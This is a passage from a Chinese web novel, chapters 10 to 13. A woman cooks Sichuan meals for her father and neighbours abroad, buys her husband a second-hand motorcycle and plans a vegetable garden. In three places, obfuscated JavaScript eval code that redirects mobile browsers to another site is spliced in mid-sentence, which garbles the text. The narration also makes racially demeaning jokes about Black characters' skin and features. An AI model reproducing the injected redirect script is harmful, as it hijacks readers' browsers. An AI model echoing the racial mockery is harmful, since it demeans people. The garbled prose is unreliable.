“噢,亲爱的,听到了吗?安太太答应了,真是太好了!”史密斯转身,捧起赵诗琪的脸,在她唇上用力地亲一口。 赵诗琪的脸被他的大黑手挤得微微变形,却始终面带微笑。 林晴天不由感叹:赵姐真是她见过情绪最稳定的女同志。 还有一点让她很佩服,对史密斯先生,赵姐姐怎么下得口? 没有嫌弃的意思,只是单纯地好奇,换她,灯一关,根本找不到人。 除非他呲着个大牙笑。 说到这儿,就不得不提一句,黑人的牙齿可真白啊,比向来注重口腔卫生的M国白人还要白。 所以说凡事还得有对比。 就比如林晴天给史密斯一家做了四个鸡蛋灌饼,一端出来,史密斯就大夸特夸,“噢,我的上帝,这简直就是艺术品啊。” 一口下去,雄鹰般的男人流下了感动的眼泪。 林晴天小声跟赵诗琪说:“史密斯先生真是没吃过什么好东西啊。” 赵诗琪一脸温柔,“不管什么食材,只要经他的手,最后都会不负众望地弄成了一坨。” “难怪小乔治吃不下去。”林晴天看着吃鸡蛋灌饼吃得满嘴流油的小乔治,真是验了Z国那句老话——从简入奢易,从奢入俭难,林晴天问赵诗琪:“你怎么吃得下的呢?” “因为爱。”赵诗琪轻咬一口鸡蛋灌饼,将嘴里食物咽下去后,补充一句:“但吃了你做的油泼面后,我感觉也不是那么爱了。” 林晴天笑出声,“赵姐,你这人还挺幽默。” 很典型的海市小女人,自带一种很特别的幽默感。 史密斯离开后,赵诗琪带孩子们回家,约瑟夫也带小茄子出门了,要去租开面包店的铺子,林晴天今天也有事儿做,准备去二手市场给丈夫淘一辆自行车,顺道再采购一些食材回来,中午她想做米饭吃。 作为土生土长的川省人,面食再好吃,也连吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193390|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了三顿,就想吃大米饭了。 带上钱,林晴天从屋里出来,赵诗琪在隔壁院子里问她:“安太太要去采购食材吗?” 林晴天点头,“还要去趟二手市场。” “那等我一下。”赵诗琪回屋拿东西去了,林晴天听到有小孩哭,闲着没事儿就过去看一眼。 果然是大卫,也不知道谁惹到他了,躺在地上边打滚边嗷嗷哭。 小乔治安静地坐在旁边的草坪上玩着自己的橡胶娃娃。 大卫怕她,林晴天心想跟他打个招呼,应该就不会哭了,于是提高嗓音地哈喽一声。 大卫看都没看她一眼,一骨碌地从地上爬起来,拔腿就跑,“哇哇哇……啊啊啊……” 哭得更凶了。 大卫有点O型腿,跑起来路特别搞笑,两只手举在前面,像刚出土的小僵尸。 林晴天恶趣味地追在后面解释:“大卫,我是好人,不吃小朋友,别怕。” 她越追大卫哭得越凶跑得越快,快成了一道黑闪电,林晴天觉得他小小年纪参加马拉松,说不定能拿到名次。 林晴天累了,停下来喘口气。 大卫还在嗷嗷地跑。 太有意思了,要是她体力跟得上,她能追着他玩一天。 身后没了动静,大卫回头张望,没看面前,然后就一头撞林晴天的腿上,“啪叽——”摔了个屁股蹲。 “哈哈哈哈……”林晴天笑个不停,脑子跟不上,光是跑得快有什么用呢?参加马拉松比赛,她都怕他找不到路。 林晴天将大卫从地上抱起来,帮他拍掉身上的草叶子,语重心长道:“我都没怕,你黑成这样还怕上了?” 不管林晴天笑得多慈眉善目,大卫仍是怕得瑟瑟发抖。 林晴天:“……” 他们说小黑娃之所以怕黄种人,是觉得他们像黑种人剥了皮。 就跟Z国的小朋友看黑种人像烤糊了一个道理。 但赵诗琪也是黄种人,虽然她比自己要白。 林晴天陷入深深地自我怀疑中,她有那么黄吗? “嗷~”林晴天龇牙,朝大卫做了个凶狠的表情,大卫又是一声惨叫地跑开了。 哈哈哈哈哈……太好玩了! 大卫终于想起找家长护佑,一溜烟地跑进了屋,宽敞的草坪上就剩林晴天和小乔治。 林晴天笑得眼泪花花,伸手揩了揩眼角,看向仍是乖乖地坐在野餐垫上的小乔治,屋里传来大卫的哭声,他回头看一眼,小脑外歪向一边,似乎不解:他为什么一直要哭? 太呆萌了! 林晴天走上去,蹲到地上,冲他招手:“哈喽,小乔治。” 小乔治盯着她看了两秒,自己手脚并用地爬起来,动作有些笨拙,走出两步后,想起自己的玩具没拿,就折返回去。 撅着小屁股,捡垫子上的橡胶娃娃,用力过猛,险些翻个跟头,小手赶紧在空中划拉两下,才终于稳住身形。 太像一只小企鹅了。 小乔治抱着自己的橡胶娃娃,穿着左右反了的小拖鞋,一摇一晃地走向林晴天,伸出小手。 林晴天大吃一惊,大卫那么怕她,小乔治不仅不怕,还要和她握手。 “泥嚎。”小乔治抓住林晴天的手,奶声奶气地冒出一句不太标准的中文。 11. 第 11 章 “呦呵,还会说话,而且是中文,”小乔治身上虽然瘦,但小脸还是有婴儿肥,林晴天轻轻地捏一把,很软,比看起来更有质感,“外祖母教你的中文吗?” 小脸被捏,小乔治也不躲闪,仰着小脸,盯着林晴天看,似懂非懂。 大眼睛睁得溜圆,林晴天越看越觉得和他的玩具像,怀疑是史密斯先生照着自己儿子定做的娃娃。 “不好意思,安太太,让您久等了。”赵诗琪上楼拿钱,大卫哭兮兮地跑来找她,她哄了大半天才安抚好对方情绪,这才耽搁了。 林晴天站起身,笑笑道:“赵姐,以后叫我晴天吧。” 赵诗琪微微一笑地点点头,拖着吊在她腿上求保护的大卫,艰难地走过来,递给林晴天一个胀鼓鼓的信封,“晴天,这是一个月的工资,先提前给你,你好购买食材。” “太好了!”林晴天不扭捏,笑眯眯地接过去,直言道,“我正愁没那么多钱买东西。” 知道安清风舍不得买自行车,林晴天自己留了20刀在身上,抛开买自行车的钱,10刀确实买不了多少东西。 “你要买很多东西吗?”看架势是要大采购,赵诗琪问。 “我想去一趟二手市场,给小茄子的爸爸买一辆自行车,顺便看看能不能买到一些Z国厨具,最后再去华人街超市买食材。” “我可以开车和你一同去吗?”赵诗琪嫁来M 国后,几乎没有朋友,也很少出门,好不容易遇到一个谈得来的同胞,忍不住想和她走得近些。 林晴天求之不得,家里虽然有车,但她没有驾照,只能坐公共交通,而二手市场和华人街不在一个方向,来回倒腾,还要买那么多东西,当然是开车更方便了。 看到林晴天上了车,大卫吓得转身就跑,被赵诗琪一把提回来,强行塞进后排,用安全带绑住他。 林晴天没想到赵诗琪看着这么温柔,带娃却有一套。 安置好孩子们,赵诗琪坐进驾驶位,将车钥匙插进去,转动方向盘,车子启动,驶出院子,上了主路。 林晴天回头看一眼,大卫瑟瑟发抖地缩在角落里,黑黢黢脸上挂着两行清泪。 “赵姐,我到底哪儿惹到他了?”林晴天想不通地问。 赵诗琪目视前方,眉眼温柔带着笑意:“杰米告诉他你会Z国功夫,很厉害,大卫问他多厉害,杰米描述说你把自己的皮撕下来吃了。” 林晴天:“……” 那臭小子,没安坏心,也没安好心,他就没安心。 * 别说,林晴天有点运气在身上,第一次来二手市场,就让她赶上一家亚裔要回国,低价变卖厨房用具,都是八九成新。 锅碗瓢盆,一应俱全,林晴天花了20刀就全部搞定,卖家更是让她甜得跟抹了蜜的小嘴儿哄得送了一堆调料,包括花椒八角大料孜然粉…… 把东西搬上车后,林晴天重回战场,按计划给丈夫淘一辆自行车,却被一辆厚重的“庞然大物”所深深吸引。 一问价格,卖家开价200刀。 比她预算的10刀直接翻了20倍,但一想到国内像这样的一辆“庞然大物”至少几大千。 现在200刀就能拿下,不是赚了是什么? 林晴天没多犹豫,让卖家配送了一顶安全帽就交了定金,并留下地址,下午送过去,货到付尾款。 从二手市场出来,驾车去华人街路上,赵诗琪问:“怎么没买自行车?” 林晴天挑着眉道:“买了一辆其他的车,更适合我丈夫的气质。” 赵诗琪跟安清风打过几次照面,和热情有生气的林晴天完全不一样,年纪轻轻总穿中山装,头发也梳得一丝不苟,整个人老成稳重,气质特别适合国内的二八杠,再配一个公文包夹在胳肢窝。 M国有二八杠吗?就算有也还不是自行车,赵诗琪好奇林晴天究竟给安清风买了什么车。 采购完食材,一行人往回赶,到家时,约瑟夫也回来了,小茄子吃完奶,在婴儿车里睡觉,巴迪守着她,约瑟夫帮着林晴天她们搬东西,一打开后备箱,“噢,我的小甜心,你们把二手市场买回来了。” 林晴天抱起今天淘到的最满意的一件厨具,那就是用来蒸饭的木桶叫甑子,笑得嘴角咧到耳根,“还买了大米,中午我们可以吃蒸米饭了。” 约瑟夫在林家村住的那两年,吃的最多的就是蒸米饭,用的就是木甑子蒸出来的,晶莹剔透,粒粒分明,带着原木的醇厚清香。 来M国后就再没吃到过了,约瑟夫想这一口好久了。 林晴天把木甑子抱进厨放下,开始准备今天的午饭,“爸爸,赵姐,剩下的东西就辛苦你们了。” 家里除了土豆和鸡蛋,已经没有其他食材存货,好在他们在华人街超市买到了鸡胸肉、牛里脊、西红柿、胡萝卜、黄瓜、豆腐还有黄豆芽。 林晴天买菜的时候心里就已经列出了菜谱:宫保鸡丁、水煮牛肉、番茄炒鸡蛋、麻婆豆腐,再来一个酸辣土豆丝。 要做甑子饭,就不用另烧汤了,因为可以喝米汤,用竹编筲箕沥出来的米汤跟粥一样醇厚,特别的香。 林晴天先把大米淘净放入锅中煮,接着就开始备菜了,首先是川菜糊辣味型的典型菜品——宫保鸡丁,因其辣中带甜,甜中带辣,还带有酸,老少皆宜,成为了川菜宴席中必不可少的菜品之一。 鸡胸肉质比较死板,需要用刀背反复多拍,再切成大拇指甲大小的丁,放入料酒、胡椒粉、食用油、红薯淀粉和盐腌制。 配菜主要有切段的大葱,黄瓜和胡萝卜切丁,以及宫保鸡丁的灵魂所在——酥花生米。 洗干净的铁锅上灶,烧辣后倒入菜籽油,油要比炒菜时多,最好没过花生米,酥完花生米,剩下的油还能用,不会浪费。 林晴天酥了一大盘花生米,扒出一小部分炒宫保鸡丁,剩下的留给约瑟夫下酒。 备好宫保鸡丁的菜后,林晴天开始切牛里脊,鲜红,纹路清晰,品质肉眼可见的好,只卖2.8刀一磅,比猪肉便宜一半。 在国内,牛肉一般要比猪肉贵,林晴天出国前很少吃到牛肉。 大米煮到半熟,用勺连米带汤全部盛进筲箕,筲箕下面放了接米汤的大铁盆,热气腾腾中,米香味扑鼻而来,馋得林晴天不争气的眼泪从嘴角流了下来。 这才是川省人该吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193391|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主食。 对于川省人来说,吃饭就是吃大米饭,像面条、水饺和包子之类的食物,都只能叫小吃。 米饭蒸上后,就开始炒菜了,林晴天太庆幸约瑟夫只做了两个灶头,不像大多数M国家庭都是四个或者六个炉灶头,因为他们习惯使用小厨具,一般在26厘米,可以同时煎多块牛排。 而Z国的炒锅都在30厘米,甚至更大,多眼灶台间距小,两口锅放上去,厨艺再好也施展不开。 两眼灶台相距40厘米,一口锅蒸饭,一口锅炒菜,完美搭配。 热锅放油,将腌制好的鸡胸肉煎至白色,放干辣椒、大葱段和适量的花椒粉,以及黄瓜丁和胡萝卜丁,翻炒出香味,兑入提前调好的料汁,大火炒到粘稠干松,最后加入酥花生米即可。 诱人香味弥漫在整个厨房,并迅速地从窗户飘向院子。 小茄子醒了,约瑟夫陪着她在院子里晒太阳,巴迪叼回来棒球放他脚边,他捡起来刚要扔出去,突然闻到这么诱人的肉香,顿时就坐不住了。 窝的麻鸭!好香啊! 约瑟夫推着婴儿车,跑到离厨房更近的草坪上,大口大口地吸入香气,就连赵诗琪也被香味吸引,把两个孩子带过来,在约瑟夫家的院子里玩。 林晴天抬头,看到窗外的草坪上,约瑟夫扔出去棒球,巴迪和大卫一哄而上,赵诗琪坐在长椅上,左手边是抱着橡胶娃娃的小乔治,右手边是躺着小茄子的婴儿车,她时而逗逗小茄子,时而摸摸小乔治的头,再望向打闹的大卫他们。 上辈子开中餐馆生意好的那段时间,店里会坐满食客,他们有说有笑,也像这样热闹。 但林晴天当时的心态和现在大不相同,虽然也满心欢喜,但更多是紧张,担心自己做的菜不合食客胃口,进而影响中餐馆的营业额。 时间一久,就像一张拉满弦的弓,活得好累。 而现在,她十分轻松,才更加感受到做饭的意义,不是为了生存,而是为了生活。 午饭做好后端上桌,林晴天给每人发了一双筷子,大卫没用过筷子,将它插到米饭上,赵诗琪立马纠正:“不可以这样,大卫,这是最基本的饭桌礼仪。” 她的声线仍是温柔,但是带着不容抗拒。 大卫乖乖地取下筷子,赵诗琪教他怎么使用筷子,半吊子的约瑟夫跟着学,赵诗琪教得细致,一步一步地分解,林晴天看到最后,完了,她不会了。 甩甩脑袋,重置信息,林晴天拿起筷子,给约瑟夫夹了一颗花生米,“来日方长,先吃饭,凉了不好吃。” 小茄子已经喝过奶,换过纸尿裤,现在很乖地躺在婴儿车里,没人陪玩,也不会哭闹。 三个大人同时将筷子伸向了宫保鸡丁,而大卫和小乔治的勺子去舀了番茄炒蛋,果然番茄对小朋友有着天生的吸引力,这是一方面,另一方面主要是林晴天做的这道菜,实在太漂亮了。 番茄的红,鸡蛋的黄,点缀上翠绿的葱花,交织成一副色彩温暖的画卷,看得人就食欲大涨。 谁说小朋友对美没有追求,实际上好看的食物,他们才更愿意吃,小乔治就是鲜活的例子,毕竟爱美之心人皆有之。 12. 第 12 章 番茄炒蛋舀进碗里,搅拌均匀,雪白的米饭染成了粉红,一大口吃进嘴里,鸡蛋软绵绵,吸满了番茄汁,每一口都是一口爆汁,既有沙沙的感觉,也能吃到米饭的颗粒感。 大卫和小乔治一吃一个不吱声,只见扒饭的速度越来越快,小手快抡出虚影了。 妈妈再也不担心我厌食了。 赵诗琪终于可以放心地自己品尝美食了,生为海市人,她和M国人一样更偏爱甜口,但到了M国发现他们的甜口和她想象的差得太多了。 毫不夸张,直击天灵盖,她接受不了。 宫爆鸡丁是川菜系里面为数不多的甜口菜之一,入口后,舌尖最先感受到的是微麻和浅辣,再是冲击味蕾的一股酸甜,酱汁包裹下的鸡丁、葱段、黄瓜丁、胡萝卜丁以及花生米,每一样都鲜香味足,每吃一口都愣一下,配上软硬适中的甑子饭,让人欲罢不能。 水煮牛肉也是滑嫩爽口,香味浓烈,还有酸辣土豆丝,每道菜哪哪都好,就是太费米饭了。 赵诗琪平时饭量不大,尤其是午餐,已经习惯了M国人午餐从简,但今天一恍惚就吃了三碗饭。 实在吃不下了,放下筷子前,最后夹了一块鸡丁,呜呜呜,太香了。 终于吃到米饭,林晴天直接干到了嗓子眼,感觉再多吃一口就会吐了,才恋恋不舍地停下进餐,往后靠着椅背,看着还在吃的大卫和小乔治,以及约瑟夫,眼睛笑成一条缝。 抛开辈分来说,她现在真是慈眉善目,就像奶奶看着大口吃饭的宝贝孙子。 “好了,不能吃了,再吃该肚子疼了。”赵诗琪强行摁住还要吃第三碗的大卫和小乔治。 大卫不情愿,“肚子饿,还要吃。” “肚子都圆了。”赵诗琪指着他圆鼓鼓的小肚子说,“你看多像气球,再来一碗,爆炸怎么办?” 天真的大卫信以为真,立马妥协并央求道,“不吃饭,可以再喝一口米汤吗?” “可以。”赵诗琪起身去厨房给大卫盛米汤,问小乔治要不要再喝点米汤,小乔治看一眼自己的小圆肚,摇头。 林晴天逗他:“小乔治怎么不喝米汤?不好喝吗?” 其实小乔治已经喝了一碗米汤。 小乔治捧起自己装米汤的空碗给林晴天看后,小手指着自己的小圆肚,告诉她再喝会爆炸:“嘭——” 奶呼呼的呆萌模样,实在太惹人爱了,林晴天捏他的小脸蛋。 三大两小,三荤一素,全部吃完了,就水煮牛肉剩了一些汤,约瑟夫要留到吃面,这是川省人对一道菜的最高评价。 吃完饭,约瑟夫负责收拾厨房,赵诗琪带大卫和小乔治回去睡午觉,林晴天推着婴儿车里的小茄子去后院。 巴迪不放心地跟在她屁股后面,盯得可紧了,这让林晴天哭笑不得,“小巴迪,她妈是我,不是你,我还能把她卖了?” 巴迪冲她叫两声,表示跟她不熟。 林晴天想想也是,她坐月子天天待在房间里,巴迪就没见过她,出月子没咬她就不错了。 从后院回来,林晴天站在厨房外的草坪上,伸头跟里面的约瑟夫说:“爸爸,社区让后院种菜吗?” “只说了前院种草坪,后院没有明文规定,应该可以,赵的母亲住他们家的时候,就在后院种了很多蔬菜。” 赵诗琪跟林晴天提过这茬,不过赵母回国后,他们家的菜园子就荒废了,现在就剩很小一片葱。 “你想种菜吗?行啊,我等下就把后院整理出来,明天我先把面包店师傅招了,等开业了,我可以跟以前一样每天下午三点打烊,然后回家和你一块种地。” “不用那么麻烦,后院那点地,我一个人就能种,您帮我照看小茄子就行了。”林晴天现在愁的不是劳力,毕竟除了约瑟夫,还有身强体壮的丈夫,她一个人搞不定的重活,可以让他搭把手。 让她头疼的是菜种和菜苗。 海关严禁携带种子过境,华人街倒是有菜种卖,只是通过非常手段获得,价格过高不说,种类还非常少。 船到桥头自然直,先把地翻出来再说。 家里没有农具,林晴天去隔壁史密斯家借,赵诗琪一听说她要种地,太佩服了,做菜一绝,还会种地,怎么有这么能干的女同志! 反正用不着,赵思琪非常大方地将家里的所有农具一并送给了林晴天,林晴天连连保证等瓜果蔬菜熟了,一定给他们做最好吃的饭菜。 “那我就翘首以待了。”赵诗琪打开储物间,从里面拿出锄头、镐头、铁锹、镰刀……甚至还有耙,是她妈在M国自己用竹子做的,专门用来松土、耙草、崛地,农具太多了,赵诗琪帮林晴天抱回家。 林晴天高兴坏了,一路跟赵诗琪夸婶子神通广大,居然在M国找到这么齐全的种地工具,有了这些农具加持,她的中式菜园子指日可待。 “我想想啊,五月份可以种哪些菜?嗯,先撒小白菜和上海青,一个多月就能吃了,炝炒煮汤和下面都可以,想吃了,就到院子里摘一把,多方便,还健康,最重要的是省钱。” 在M国,新鲜蔬菜可比快餐熟食贵多了,60美分能买到一个鸡肉汉堡,但不一定能买到一袋蔬菜。 这也是M国人很多胖子的主要原因之一。 “还要种大白菜和青菜,用来做东北酸菜和川省泡菜,赵姐,你吃过D国酸菜没有?虽然腌制方法和东北酸菜差不多,但他们用的是卷心菜,所以还是不够正宗,川省泡菜用来做酸菜鱼、酸辣鸡杂、泡椒猪肝才是灵魂,芹菜、香菜、小葱这些配料菜必不可少,对了,韭菜也要种,还有番茄、黄瓜、丝瓜、四季豆、豇豆……哎呀,差点把辣椒忘了,甜椒、小米辣、二荆条,每个品种都种几株,要是能搞到秦椒种子,我就此生无憾了。” 林晴天规划着自己的菜园子,心神向往,让赵诗琪脑海里浮现出来的已经不是蔬菜,而是一道道经过她巧手烹饪的美味佳肴 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林晴天和赵诗琪干了一会儿,把小茄子哄睡的约瑟夫也加入翻地小分队,大卫和小乔治午觉睡醒找过来,在收拾出来的空地上踢球,巴迪非常尽责地守着小茄子的婴儿车。 有人帮忙干得就是快,到下午四五点,已经收拾得差不多,要是林晴天一个人,指不定要忙两三天。 将农具收回储物间,林晴天换了身干净的衣服,先去厨房把鸡腿卤上。 鸡腿洗净改刀冷水下锅,放入去腥三件套,绰去浮沫,捞出来清洗干净后,起锅炒糖色,重新下鸡腿,翻炒上色,加葱姜八角桂皮香叶,再来几克干辣椒和一小把花椒,适量清水没过鸡腿,扣上盖,大火烧开。 林晴天使用的砂锅卤鸡腿,要比铁锅保温性更好,可以让食材里的鲜味物质充分地融进汤汁,汤汁再渗回食材。 这样卤出来的鸡腿,肉好吃,汤也美味,拌饭最好吃了。 为了晚上这顿,林晴天中午特意多蒸了甑子饭,等鸡腿卤好,把饭一热,浇上汤汁就可以开吃了。 砂锅不像铁锅容易糊锅,转小火后,就不用守在灶台边了,林晴天脱了围裙,正要去院子里陪女儿,听到约瑟夫在喊她:“小甜心,你买的车到了,快来签收。” 林晴天一听车送来了,连声答应:“来了来了。” 赵诗琪听到约瑟夫喊话,也从隔壁过来了,太想知道林晴天给她丈夫买了一辆什么车。 居然是一辆依发牌机车,通体漆黑,车身厚重,赵诗琪记得这个牌子的摩托车喇叭声特别大。 二战过后,M国兴起了一种新型的制服文化,很多军人退役后,喜欢穿着皮夹克骑着摩托车四处集会,这是“机车族”的前身,八十年代的M国大街上随处可见机车身影,不过车主大多都是一些小年轻,他们打扮时髦另类,是叛逆暴力的代表。 叛逆!暴力! 赵诗琪实在没有办法将这两个词和老干部气质的安清风划上等号。 13. 第 13 章 “晴天,卖家是不是搞错了?”赵诗琪不禁发出疑问。 已经付完尾款,热情地送走卖家的林晴天,非常满意地绕着摩托车欣赏,“没有搞错,这就是给我丈夫买的车。” “摩托车似乎不太适合安同志的气质。”赵诗琪尽量委婉。 林晴天不以为然,“人靠衣装马靠鞍,清风同志太斯文了,不给他包装凶狠点,我担心他在学校受欺负。” 她在M国大学读过一段时间的书,虽然没有成为被霸凌的对象,但很清楚哪类人很容易被排挤。 就是像安清风这种性格内敛的,没有存在感的边缘人,会让他们觉得欺负了也不被追责。 赵诗琪:“……” 无疑是亲媳妇滤镜,就安清风浑身上下散发出来的生人勿进的气场,谁敢惹他。 “噢,非常好,小甜心买的这辆车太适合安了,简直是为他量身打造。”约瑟夫捧场。 林晴天嘿嘿一笑,捏着下巴,越看越满意,但总觉得缺了点什么,问:“爸爸,家里有大红绸子吗?” “我去拿。”约瑟夫进屋上楼,很快出来,手里多了一朵大红花,就是国内迎亲队伍的车上或者马上绑的那种大红花。 正合林晴天之意,她拿过去,将大红花绑在摩托车上面,真是喜庆有意义。 “爸爸,你怎么会有这种大红花?”林晴天随口一问。 约瑟夫眼神温柔地看着摩托上的大红花,回想道:“那年我和林参加邻村的婚礼,看她喜欢这朵大红花,我就偷偷剪回去跟她求婚了。” “然后呢?我妈同意了吗?”林母从未提过她和爸爸的事,所以林晴天很好奇。 约瑟夫笑呵呵地摇头,“没答应,她扇了我两耳光,把我赶出了林家村。” 林晴天:“?” 虽然她妈对她只字不提,但林晴天感觉得出来,她妈很爱她爸,不然也不能守一辈子的活寡。 “既然求婚,肯定要把所有事情都跟你妈说,我在苏俄有一位妻子,但我也再三保证最爱她,会先把婚离了,再和她结婚。”约瑟夫的那位妻子就是亚历山大的母亲,是他老师的女儿,比他大三岁,那年他才十八岁,就稀里糊涂地把婚结了,根本不知道什么是爱情,直到后来在Z国遇见林。 这不赤果果的骗婚吗?换林晴天得拿刀砍,她妈只是抽了两大嘴巴子,可见是真爱了。 林晴天骨子里的犟脾气就是随了她妈,一旦认定了某件事,十头牛也拉不回来。 约瑟夫和亚历山大的母亲离婚后,回Z 国找林,却听说林已经嫁人,还生了一个孩子,过得很幸福。 约瑟夫不想打扰她,只能忍痛离开,移民到了M国。 再后来碰到安清风,才得知林终生未婚的真相,约瑟夫悔恨不已,更加对那个跟他胡说一通的男人感到愤怒,用川省话来说,日他仙人板板! 父母的爱恨情仇,就算她爸再有错,也是对不起她妈,作为女儿没有资格指责,更何况上辈子她爸帮她照顾女儿,因为女儿离世连命都搭进去了,对她已经仁至义尽,早就两清,这一世该好好相处。 “爸爸,相信我,您是世界上最好的爸爸,我妈如果天上有灵,看到我们父女相处这么融洽,她一定会感到十分欣慰,而且我更加相信,她对你的爱毫无疑问超过其他任何感情。”林晴天宽慰约瑟夫。 约瑟夫眼眶湿润,望着他今生挚爱母国所在的方向,这一刻他才总算真正地释怀。 安清风在社区路口的公交站台下车,远远看到妻子他们围在前院的草坪上,应该在逗他那个虽然才一个月大但已经超级无敌可爱的女儿,他加快脚步,一天不见,他也好想她。 林晴天最先看到放学回家的丈夫,欣喜万分地喊他:“清风,快来!” 约瑟夫他们闻言自觉地让出一条道,安清风这才看清他们刚刚围着的东西,并不是他的女儿,而是一辆笨重的庞然大物——摩托车。 车上绑了一朵大红花! 安清风先下手为强,双手握拳,对着老丈夫道:“约瑟夫先生,恭喜恭喜。” 他说的中文,约瑟夫一知半解,也不管那么多,同样握拳回:“安清风同志,恭喜恭喜。” 林晴天将丈夫拉过去,伸手在摩托车前面,隆重介绍:“当当当……我斥巨资在二手市场给你买的摩托车,怎么样?喜欢吗?是不是超帅?” 是很帅,只是和自己不搭,但看着妻火热期盼的眼神,安清风不忍心一盆冷水浇灭,“喜欢。” “我就知道你喜欢,因为我也喜欢,这就叫夫妻同心,其利断金,哈哈哈哈……”林晴天取下大红花,往丈夫身上一系,一边哇噢地称赞不已,一边又给丈夫戴安全帽。 安清风一米八二,比林晴天要高小二十厘米,看她踮脚,摇摇欲坠,他连忙弯下腰。 戴好安全帽,林晴天推着他催促:“快上车试试。” 事已至此,安清风只能赶鸭子上架,硬着头皮骑上去,跨骑式摩托车,油箱很大,在驾驶座正前方,坐上后要握住车龙头,上半身需用力往前倾。 这让安清风很不习惯,平时做任何事挺得笔直的腰杆啊。 弯了! “哇!哇!哇!太帅了!怎么会这么帅!”林晴天围着安清风不停地称赞,“安同志,我就说你这么帅做什么?要迷死我吗?不行了,我又又又无法自拔地爱上你了!” 自救地掐自己的人中,虽然夸张,但好听的话,谁不喜欢听,安清风也不例外。 当然他性格内敛,面对妻子的当众表白,他多少有点害羞,好在妻子说的中文,老丈夫和小朋友们听不明白。 唯有赵诗琪听懂了他们聊天,视线扫过后,多少感到意外,性情稳重老成的安清风居然脸红了。 “噢,我的上帝!约瑟夫,你们家居然买了摩托车,太帅气了!”邻居布朗先生下班回来,听见隔壁院里热闹,忍不住跑过来看一眼。 不看不知道,一看吓一跳。 他一直想买摩托车,但妻子不同意。 “贝蒂说骑摩托车的是坏孩子,我是六个孩子的爸爸,不能做不好的表率。”布朗听说是林晴天给丈夫买的摩托车,羡慕地紧紧握住安清风的手,“安先生,你真幸福,娶到如此宽容善良的妻子。” 过于激动,险些把安清风从摩托车上拽下来,布朗松开手,连声道歉完,“作为补偿,安先生,我送你一套机车服,虽然是去年买的,但我一次没穿过,你体型和我差不多,肯定非常合适,等我,我回家拿。” 安清风从头到尾没来得及说一个字。 约瑟夫拍拍他肩膀,“不用介意,布朗话虽然多,但没坏心。” 安清风赞同地点头,很热情。 林晴天小声问赵诗琪,“赵姐,你和布朗先生的老丈人说过话没有?” 赵诗琪不明所以地摇摇头。 林晴天“耿耿于怀”地跟她说起威尔逊先生夸她的话,赵诗琪眉眼含笑,“贝蒂第一次见我也夸了。” “夸你什么?” “夸我长得很有礼貌,肤色深,穿什么衣服都好看。” M国人喜欢晒太阳,对他们来说,小麦肤色代表着健康和美丽,但夸人长得礼貌,她是不是有点没礼貌。 “哈哈哈……”林晴天竖起大拇指,“赵姐,你是懂得安慰人的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193393|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >痛苦不是用来比较的,但可以互相分享共情,然后一块蛐蛐对方,“看来是遗传,夸这么歹毒,布朗先生倒是蛮正常的,就是每天都穿好正式,赵姐,你知道布朗先生做的什么工作吗?卖保险吗?” “布朗先生是一名律师,贝蒂和六个孩子这段时间住在娘家,布朗先生这才轻松些。” “要是六个孩子在家,每天换一双袜子,一个星期就要洗84只袜子,还有42条裤衩子……”林晴天光是想想都头疼,“亏得这边家里都有洗衣机,不然手洗的话,布朗先生连上吊时间都没有。” 这么一想,再看从屋里出来的布朗,林晴天不免多了两分同情,也为表达对方送丈夫皮夹克的好意,她邀请道:“布朗先生,晚上来家里吃饭吧,我做了Z国的特色美食——卤鸡腿饭。” 布朗一个人在家,正愁不知道吃什么,林晴天的邀请对他来说简直是雪中送炭,便一口答应了。 看时间,鸡腿已经快卤好了,林晴天切了两个土豆进去,再烫了一小把蔬菜,用餐盘盛米饭,两个小朋友食量小些,一小半碗就可以了,大人都满满的一大碗,往餐盘上一盖,每份米饭配一只鸡腿,两三块土豆,和几片蔬菜,最后浇上一勺卤汁,卤鸡腿饭就搞定了。 端上桌,众人围坐,卤香一个劲儿地往鼻子里钻,每个人都迫不及待地拿起勺子,舀一大口放嘴里。 浸透了卤汁的甑子饭软糯咸香,根本不用配菜就能吃一大碗,鸡腿肉经过慢火卤制,已经软烂脱骨,一咬撕下一大片,裹着一层沙沙的土豆泥,太好吃了。 土豆和青菜不仅香,还能很好地解腻,让人怎么吃都吃不够。 约瑟夫他们已经习惯了林晴天的手艺,不再像第一次吃的时候“大惊小怪”,他们埋头干饭,只有布朗不停地发出惊叹。 以前他吃的中餐都是炒菜,一桌人围坐着分享一道菜,说实话,他不太习惯。 没想到中餐也有一人一份的菜品,最重要的是这个饭真的好好吃啊,他感动得都要哭了。 光盘后,布朗意犹未尽,“安太太,我可以再来一份吗?” 